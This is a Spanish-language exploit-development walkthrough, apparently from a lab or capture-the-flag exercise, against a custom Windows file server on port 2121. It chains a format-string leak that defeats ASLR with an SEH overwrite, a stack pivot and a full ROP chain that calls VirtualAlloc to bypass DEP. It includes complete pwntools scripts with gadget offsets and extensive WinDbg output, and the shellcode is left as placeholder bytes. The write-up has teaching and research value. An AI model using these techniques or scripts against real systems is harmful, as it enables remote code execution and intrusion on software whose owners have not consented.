Shell - dev
Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg
Si miramos los detalles del módulo podemos ver que contienes las protecciones DEP
y ASLR
, el primero impide que podamos ejecutar un shellcode en el stack, el segundo indica que la dirección base del binario deberia cambiar después de cada reinicio
0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
-----------------------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------------------
0x75de0000 | 0x76026000 | 0x00246000 | True | False | True | True | True | True | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
0x732d0000 | 0x73321000 | 0x00051000 | True | False | True | True | True | True | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
0x756b0000 | 0x757a0000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
0x3f290000 | 0x3f340000 | 0x000b0000 | True | False | True | False | True | False | [filesrv.exe] (filesrv.exe)
0x775d0000 | 0x77778000 | 0x001a8000 | True | False | True | True | True | True | [ntdll.dll] (ntdll.dll)
0x76610000 | 0x766cb000 | 0x000bb000 | True | False | True | True | True | True | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
0x77380000 | 0x773e5000 | 0x00065000 | True | False | True | True | True | True | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
La parte mas compleja aqui es la del reversing debido a que el programa se creó en C++
y el tema de los objetos hace que sea más dificil leer el código, luego de renombrar algunas cosas iniciamos con la función main
, esta inicia reservando un espacio en memoria y llamando a setup
donde le pasa como argumento la string 0.0.0.0
y el puerto 2121
, luego llama a la función server
y finalmente a handler
La función que renombramos como setmem
recibe un buffer y una longitud, luego llama a memset
para llenar ese buffer con 0's
en el total de bytes del argumento
La función server
inicia llamando a la función WSAStartup
para inicializar winsock y luego llama a la función socket
para crear un socket y este devuelve un descriptor
Luego utiliza htons
para darle formato al puerto 2121
y posteriormente llamar a bind
y listen
para ponerse en escucha de conexiones entrantes en ese puerto
La función handler
inicia realizando un salto condicional ya que se iniciará un bucle
En este caso se llama a la función select para verificar que los descriptores en la variable readfs
esten listos para operaciones evitando asi errores de I/O
Si el valor devuelto por select
es mayor a 0
sigue la linea roja que llama a accept
que recibe una conexión y devuelve un nuevo descriptor en el valor de retorno
Si se sigue la linea verde llama a memset
para reservar un espacio en memoria y luego a recv
para recibir un total de 0x1000
o 4096
bytes en el buffer asignado
En la parte final se llama a la función CreateThread
para crear un hilo por cada conexión, cada hilo ejecuta la función StartAddress
pasandole el descriptor
Por cada entrada recibida se llama a la función menu
donde posiblemente se prepara la variable buffer, finalmente se llama a send
que envia el contenido al socket
La función menu recibe el buffer y copia a una variable command
los primeros bytes separados por un espacio, luego copia a la variable path
el argumento al command
Empieza con un par de comparaciones, si la variable path es igual a ..
, C:\\
o \\
nos lleva a un bloque que muestra el mensaje de error Fishy path
y retorna
Podemos comprobarlo enviando como comando cualquier cosa como TEST
y como argumento los paths restringidos, podemos ver que nos devuelve el error esperado
❯ netcat 192.168.100.5 2121
TEST ..
ERROR: Fishy path
TEST C:\
ERROR: Fishy path
TEST \
ERROR: Fishy path
Luego realiza una pequeña validación para que el programa se ejecute en el path C:\shared
, si esta condición se cumple copia al buffer de respuesta la string Path:
seguida del contenido que se usa como path, por la convención podemos pensar que se utiliza alguna función como snprintf
que puede llevar a un format string
Lo comprobamos enviando como path
cualquier cosa como una letra A
, en la respuesta podemos ver el mensaje Path: A
que refleja el path de nuestra entrada
❯ netcat 192.168.100.5 2121
TEST A
ERROR: Can not open Path: A
Vemos una comparación del comando con LST
y con GET
, debido a las validaciones de path podemos suponer que LST
actúa como un dir
y GET
como un type
Las restricciones no comparan la ruta /
, asi que podemos usar LST
para listar archivos desde la raíz, aunque esta no es la vulnerabilidad que debemos seguir
LST /
Path: /
C:\Documents and Settings
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\ProgramData
C:\Recovery
C:\System Volume Information
C:\Users
C:\Windows
También podemos usar un simple .
para ver los archivos en el directorio actual, al parecer si le pasamos un archivo al comando GET
devuelve el contenido en base64
LST .
Path: .
C:\shared\filesrv.exe
GET filesrv.exe
Path: filesrv.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAJsIVFjfaToL32k6C99pOgsMGzkK0mk6CwwbPwpqaToLDBs+CslpOguNHD4KzWk6C40cOQrLaToLjRw/CpJpOgsMGzsK2mk6C99pOwuhaToLHhw/CtxpOgseHMUL3mk6Cx4cOAreaToLUmljaN9pOgsAAAAAAAAAAFBFAABMAQUAGJqcYgAAAAAAAAAA4AACAQsBDh0A8AgAAOYBAAAAAAA5EAMAABAAAAAACQAAABBAABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAAALAAAEAAAAAAAAAwBAgQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/FMKADwAAAAAoAoA4AEAAAAAAAAAAAAAAAAAAAAAAAAAsAoAqE4AAIzZCQBUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4NkJAEAAAAAAAAAAAAAAAAAACQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAACj7ggAABAAAADwCAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA6F4BAAAACQAAYAEAAPQIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAACwzAAAAYAoAAB4AAABUCgAAAAAAAAAAAAAAAABAAADALnJzcmMAAADgAQAAAKAKAAACAAAAcgoAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAqE4AAACwCgAAUAAAAHQKAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVYvsagC5SHw=
Sabemos que el path se refleja en la respuesta y probablemente ocasione una vulnerabilidad de format string, enviaremos varias %p
separados por un .
❯ netcat 192.168.100.5 2121
TEST %p.%p
Cuando llegamos al breakpoint en la llamada a la función send
que envia el buffer vemos que en lugar de los %p
se reflejan algunos punteros bastante interesantes
0:000> bp filesrv + 0x11e13
0:000> g
Breakpoint 0 hit
eax=00000128 ebx=010fe894 ecx=010ff9b8 edx=013c25b0 esi=3f2a4120 edi=3f2a4120
eip=3f2a1e13 esp=017af704 ebp=017af834 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
filesrv+0x11e13:
3f2a1e13 e8982a0000 call filesrv+0x148b0 (3f2a48b0)
0:000> db poi(esp + 4)
013c25b0 45 52 52 4f 52 3a 20 43-61 6e 20 6e 6f 74 20 6f ERROR: Can not o
013c25c0 70 65 6e 20 50 61 74 68-3a 20 31 44 45 37 30 30 pen Path: 1DE700
013c25d0 34 46 2e 33 46 32 41 34-31 32 30 0a 0a 00 ad ba 4F.3F2A4120.....
013c25e0 ab ab ab ab ab ab ab ab-00 00 00 00 00 00 00 00 ................
013c25f0 10 e4 fb a2 f4 5e 00 00-c0 00 3b 01 c0 24 3c 01 .....^....;..$<.
013c2600 ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
013c2610 ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
013c2620 ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
El segundo puntero apunta a una dirección estática en el binario, podemos restarle la dirección base del binario desde el debugger y obtener el offset que es 0x14120
0:000> lm m filesrv
Browse full module list
start end module name
3f290000 3f340000 filesrv C (no symbols)
0:000> ? 0x3f2a4120 - 0x3f290000
Evaluate expression: 82208 = 00014120
Automatizamos este proceso en un script de python, enviamos los %p
que nos muestra el leak y al restar el offset calculado muestra la dirección base del binario
#!/usr/bin/python3
from pwn import remote, log
shell = remote("192.168.100.5", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 2121: Done
[*] Binary base: 0x3f290000
[*] Switching to interactive mode
$
La entrada en realidad tampoco parece estar muy bien sanitizada, asi que enviamos una cantidad alta de bytes de cyclic
en busca de algún tipo de desbordamiento
#!/usr/bin/python3
from pwn import remote, cyclic
shell = remote("192.168.100.5", 2121)
payload = cyclic(4000)
shell.sendline(b"TEST " + payload)
shell.interactive()
Al enviar el exploit el programa corrompe sin embargo el eip
no apunta a ninguna parte de la cadena, aunque no sobrescribimos un return address si sobrescribimos la estructura SEH
por lo que sobrescribimos ambos valores de la estructura
0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010b0000 ebx=00007878 ecx=010af0dc edx=00000000 esi=010af0f0 edi=010af538
eip=3f2de8ea esp=010af0b4 ebp=010af0c4 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838 mov byte ptr [eax],bh ds:002b:010b0000=??
0:000> !exchain
010afca4: 6b61616a
Invalid exception stack at 6b616169
Le pasamos el valor a cyclic
que nos dice que offset para sobrescribir el puntero al siguiente SEH
es de 1032
bytes, y para sobrescribir el SEH
handler 1036
bytes
❯ cyclic -l 0x6b616169
1032
❯ cyclic -l 0x6b61616a
1036
Nuestro payload ahora envia 1032 A's
hasta antes de sobrescribir la estructura SEH, 4 B's
que serán el siguiente SEH y 4 C's
que serán el controlador, ademas de ello rellenamos con D's
hasta llegar a 4000
bytes para mantener el exploit estable forzando que ocurra la excepción enviando una cantidad muy grande de bytes
#!/usr/bin/python3
from pwn import remote
shell = remote("192.168.100.5", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
offset = 1032
junk = b"A" * offset
nseh = b"B" * 4
seh = b"C" * 4
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242
y el controlador con 0x43434343
0:000> g
(11c4.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01510000 ebx=00004444 ecx=0150f1dc edx=00000000 esi=0150f1f0 edi=0150f638
eip=3f2de8ea esp=0150f1b4 ebp=0150f1c4 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838 mov byte ptr [eax],bh ds:002b:01510000=??
0:000> !exchain
0150fda4: 43434343
Invalid exception stack at 42424242
En explotaciones normales usariamos un pop; pop; ret;
que ejecutaría el nseh
como opcode sin embargo como DEP
está habilitado el stack no es ejecutable
0:000> !vprot esp
BaseAddress: 00cef000
AllocationBase: 00bf0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Lo que podriamos hacer es ejecutar una cadena rop
para bypassear DEP
, para ello antes necesitamos controlar stack ya que ahora solo sobrescribimos el controlador, iniciamos buscando en el stack la cadena TEST
que apunta al inicio del buffer
0:000> !teb
TEB at 00cb4000
ExceptionList: 0159e7b4
StackBase: 015a0000
StackLimit: 0159d000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00cb4000
EnvironmentPointer: 00000000
ClientId: 00002f90 . 00000470
RpcHandle: 00000000
Tls Storage: 00fb2f00
PEB Address: 00ca1000
LastErrorValue: 187
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:000> s -a 0x0159d000 0x015a0000 TEST
0159f4f0 54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01 TEST..Y....?L.Y.
0:000> db 0x0159f4f0
0159f4f0 54 45 53 54 00 f9 59 01-db 8d c5 3f 4c f9 59 01 TEST..Y....?L.Y.
0159f500 04 00 00 00 0f 00 00 00-b8 6f fb 00 00 00 fa 00 .........o......
0159f510 7c f5 59 01 64 60 22 77-a0 0f 00 00 af 0f 00 00 |.Y.d`"w........
0159f520 28 69 ca 62 00 00 fa 00-00 00 00 00 62 00 00 40 (i.b........b..@
0159f530 4c f6 59 01 c8 0f 00 00-00 00 00 00 0f 00 00 00 L.Y.............
0159f540 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f550 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f560 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Entonces, 0x50
bytes después de la dirección de la string encontramos el inicio de las A's
, si restamos esa dirección al esp
podemos ver que está a 0xda0
bytes
0:000> db 0x0159f4f0 + 0x50
0159f540 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f550 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f560 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f570 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f580 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f590 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f5a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0159f5b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> ? 0x0159f540 - esp
Evaluate expression: 3488 = 00000da0
Buscando un stack pivot con ropper
encontramos 2 posibles, el primero es muy corto, entonces usaremos el segundo que aunque se pasa un poco nos servirá
❯ ropper --file filesrv.exe --search "add esp, 0x???; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add esp, 0x???; ret;
[INFO] File: filesrv.exe
0x0001139d: add esp, 0xd60; ret;
0x00011396: add esp, 0xe10; ret;
Actualizamos nuestro exploit, ahora el controlador apunta al stack pivot
por lo que cuando ocurra la excepción saltará a él haciendo que el esp
apunte a las A's
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("192.168.100.5", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
offset = 1032
junk = b"A" * offset
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Al ejecuutar nuestro exploit corrompe nuevamente, aunque el nseh
sigue apuntando a las B's
el controlador ahora apunta a la dirección del gadget add esp, 0xe10; ret;
0:000> g
(12a4.13f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00b20000 ebx=00004444 ecx=00b1f170 edx=00000000 esi=00b1f184 edi=00b1f5cc
eip=3f2de8ea esp=00b1f148 ebp=00b1f158 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
filesrv+0x4e8ea:
3f2de8ea 8838 mov byte ptr [eax],bh ds:002b:00b20000=4d
0:000> !exchain
00b1fd38: filesrv+11396 (3f2a1396)
Invalid exception stack at 42424242
0:000> u 0x3f2a1396 L2
filesrv+0x11396:
3f2a1396 81c4100e0000 add esp,0E10h
3f2a139c c3 ret
Establecemos un breakpoint en el y al continuar la ejecución eventualmente llega a ejecutarlo, ejecutamos el add esp, 0xe10
y avanzamos hasta la instrucción ret
0:000> bp 0x3f2a1396
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000
eip=3f2a1396 esp=00b1eb98 ebp=00b1ebb8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
filesrv+0x11396:
3f2a1396 81c4100e0000 add esp,0E10h
0:000> p
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000
eip=3f2a139c esp=00b1f9a8 ebp=00b1ebb8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
filesrv+0x1139c:
3f2a139c c3 ret
Aunque retorna a las A's
sabemos que el pivot avanzó mas de lo que deberia y necesitamos saber cuánto, entonces nuevamente buscamos el inicio del buffer
0:000> !teb
TEB at 003b7000
ExceptionList: 00b1ebac
StackBase: 00b20000
StackLimit: 00b1e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003b7000
EnvironmentPointer: 00000000
ClientId: 000012a4 . 000013f8
RpcHandle: 00000000
Tls Storage: 006513a0
PEB Address: 003a4000
LastErrorValue: 187
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
0:000> s -a 0x00b1e000 0x00b20000 TEST
00b1f8e0 54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00 TEST......)?<...
Si rstamos la dirección del esp
con la dirección donde inician las A's
nos devuelve el offset, esto lo dividimos entre el tamaño de un dword
y nos devuelve un 30
0:000> db 0x00b1f8e0
00b1f8e0 54 45 53 54 00 fd b1 00-db 8d 29 3f 3c fd b1 00 TEST......)?<...
00b1f8f0 03 00 00 00 0f 00 00 00-b0 4a 65 00 00 00 00 00 .........Je.....
00b1f900 08 3e 65 00 00 00 64 00-80 0c 00 00 8f 0c 00 00 .>e...d.........
00b1f910 58 02 64 00 0b 29 6b 77-00 00 00 00 00 00 64 00 X.d..)kw......d.
00b1f920 93 01 00 00 62 00 00 40-00 00 00 00 0f 00 00 00 ....b..@........
00b1f930 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00b1f940 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00b1f950 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> ? (esp - 0x00b1f930) / 4
Evaluate expression: 30 = 0000001e
Entonces, nuestra cadena rop enviará 30
veces la dirección del gadget ret;
hasta llegar al verdadero ropchain, luego de ejecutarlo dejaremos C's
como shellcode
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("192.168.100.5", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
shellcode = b""
shellcode += b"C" * 100
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Al ejecutar el exploit eventualmente llegamos al ret
que ejecutará el ropchain real, como no enviamos ninguno el retorno apunta a las C's
que simulan el shellcode
0:000> bp filesrv + 0x1010
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=3f2a1396 edx=77666f60 esi=00000000 edi=00000000
eip=3f291010 esp=00cef514 ebp=00cee720 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
filesrv+0x1010:
3f291010 c3 ret
0:000> dds esp L1
00cef514 43434343
La función VirtualAlloc nos servirá para cambiar los privilegios del stack debido a que reserva un espacio en memoria, lo mas relevante es que en el primer argumento podemos indicar la dirección donde queremos hacerlo y con el último la protección
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
En el lpAddress
podemos pasar la dirección del esp
donde iniciaremos, en el dwSize
usaremos 0x1
que reservará una página, en flAllocationType
pasaremos MEM_COMMIT
o 0x1000
y finalmente en flProtect
usaremos 0x40
que es igual a PAGE_EXECUTE_READ_WRITE
, de esta forma se nos permitiría ejecutar el shellcode
VirtualAlloc($esp, 0x1, 0x1000, 0x40);
Algo a tener en cuenta es que los argumentos se pasan en el stack, como tenemos DEP
habilitado hay pocos gadgets que ejecuten un push
de un solo registro sin intentar ejecutar algo más, un método es utilizar el gadget pushad; ret;
que ejecuta un push
de todos los registros en un orden especifico que es el siguiente
Temp := (ESP);
Push(EAX);
Push(ECX);
Push(EDX);
Push(EBX);
Push(Temp);
Push(EBP);
Push(ESI);
Push(EDI);
El ultimo argumento lpAddress
indica el inicio de donde reservaremos memoria asi que tenemos que adaptarnos al orden de pushad
, tendremos que guardar los valores de los otros 3
argumentos en orden inverso a partir del push
de Temp
o esp
$ecx = flProtect
$edx = flAllocationType
$ebx = dwSize
$esp = lpAddress
Comenzamos con ecx
, para cargar el valor sin null bytes podemos usar un gadget sub eax
y calcular la diferencia, en este caso sumandole el valor de 0x40
0:000> ? 0x8314c26b + 0x40
Evaluate expression: -2095791445 = 8314c2ab
Con el gadget xchg edi, eax
cargamos el valor resultante en edi
, luego tenemos un mov ecx, edi
que finalmente lo guarda en ecx
pero termina en un call esi
, para ello guardaremos en esi
el gadget pop esi; ret;
que saltará al siguiente gadget
# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
En edx necesitamos cargar 0x1000
, realizamos exactamente el mismo proceso y terminamos y una vez calculado movemos el valor de eax
al registro edx
0:000> ? 0x8314c26b + 0x1000
Evaluate expression: -2095787413 = 8314d26b
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
Para ebx
necesitamos 0x1
, esto es un poco mas simple, podemos cargar el valor 0xffffffff
o -1
y simplemente incrementar su valor 2
veces dejandolo en 1
# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
Lamentablemente la función VirtualAlloc
no está cargada en la tabla IAT
, lo que podemos para calcularla hacer es desreferenciar cualquier función como TlsAlloc
y después sumarle el offset hacia la función VirtualAlloc
dentro de kernel32.dll
Para llegar a la función VirtualAlloc
desde TlsAlloc
necesitaremos ya sea el valor 0x3140
o sumar 0xffffcec0
al valor previamente desreferenciado
0:000> ? kernel32!TlsAllocStub - kernel32!VirtualAllocStub
Evaluate expression: 12608 = 00003140
0:000> ? kernel32!VirtualAllocStub - kernel32!TlsAllocStub
Evaluate expression: -12608 = ffffcec0
Establecemos en edi
el valor 0xffffcec0
, luego cargamos y desreferenciamos en eax
la dirección de TlsAlloc
y le sumamos el offset que guardamos antes en edi
# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
Nos quedan 3 registros antes de Temp
, en edi
que sera el primero en ejecutarse simplemente ejecutaremos un ret
y pasaremos al valor de esi
que ejecutará VirtualAlloc
, al terminar la función ejecutará el pop rbp
que limpiara el stack para ejecutar la siguiente instrucción que será el salto al shellcode a ejecutar
# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
Ya con todos los registros establecidos podemos ejecutar el pushad; ret;
, luego de salir de VirtualAlloc
ejecutaremos un simple jmp esp
para ejecutar el shellcode
# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
Nuestro exploit ahora se ve así, si todo funciona correctamente el ropchain llamará a la función VirtualAlloc
y saltará al shellcode que por ahora son simplemente C's
#!/usr/bin/python3
from pwn import remote, p32
shell = remote("192.168.100.5", 2121)
shell.sendline(b"TEST %p.%p")
shell.recvuntil(b".")
binary_base = int(shell.recvline().strip(), 16) - 0x14120
rop = b""
rop += p32(binary_base + 0x01010) * 30 # ret;
# $ecx = 0x40
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314c2ab) # offset + 0x40
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x48ca8) # xchg edi, eax; ret;
rop += p32(binary_base + 0x15638) # mov ecx, edi; call esi;
# $edx = 0x1000
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(0x8314d26b) # offset + 0x1000
rop += p32(binary_base + 0x32ce4) # sub eax, 0x8314c26b; ret;
rop += p32(binary_base + 0x3039f) # mov edx, eax; mov eax, esi; pop esi; ret;
rop += p32(0x41414141) # padding for pop
# $ebx = 0x1
rop += p32(binary_base + 0x0dc14) # pop ebx; ret;
rop += p32(0xffffffff) # -1
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
rop += p32(binary_base + 0x301e9) # inc ebx; ret;
# $ebp = pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
rop += p32(binary_base + 0x0100f) # pop ebp; ret;
# $esi = jmp eax
rop += p32(binary_base + 0x01068) # pop esi; ret;
rop += p32(binary_base + 0x14af9) # jmp eax;
# $eax = VirtualAlloc()
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(0xffffcec0) # VirtualAlloc() - TlsAlloc()
rop += p32(binary_base + 0x3711a) # pop eax; ret;
rop += p32(binary_base + 0x9013c) # TlsAlloc()
rop += p32(binary_base + 0x2bb8e) # mov eax, dword ptr [eax]; ret;
rop += p32(binary_base + 0x113a8) # add eax, edi; ret;
# $edi = ret;
rop += p32(binary_base + 0x15354) # pop edi; ret;
rop += p32(binary_base + 0x01010) # ret;
# call VirtualAlloc()
rop += p32(binary_base + 0x113b1) # pushad; ret;
rop += p32(binary_base + 0x11394) # jmp esp;
shellcode = b""
shellcode += b"C" * 100
offset = 1032
junk = b"A" * (offset - len(rop + shellcode))
nseh = b"B" * 4
seh = p32(binary_base + 0x11396) # add esp, 0xe10; ret;
payload = b""
payload += rop
payload += shellcode
payload += junk
payload += nseh + seh
payload += b"D" * (4000 - len(payload))
shell.sendline(b"TEST " + payload)
shell.interactive()
Para ver que funcione podemos establecer un breakpoint en VirtualAlloc
, cuando llega ahi podemos comprobar que los parametros esten establecidos correctamente
0:000> bp kernel32!VirtualAllocStub
0:000> dds esp + 4 L4
0194f700 0194f714
0194f704 00000001
0194f708 00001000
0194f70c 00000040
Luego de ejecutar la función si volvemos a ver la protección del stack en lugar de 0x4
ahora tenemos el valor 0x40
que es equivalente al valor de PAGE_EXECUTE_READWRITE
0:000> pt
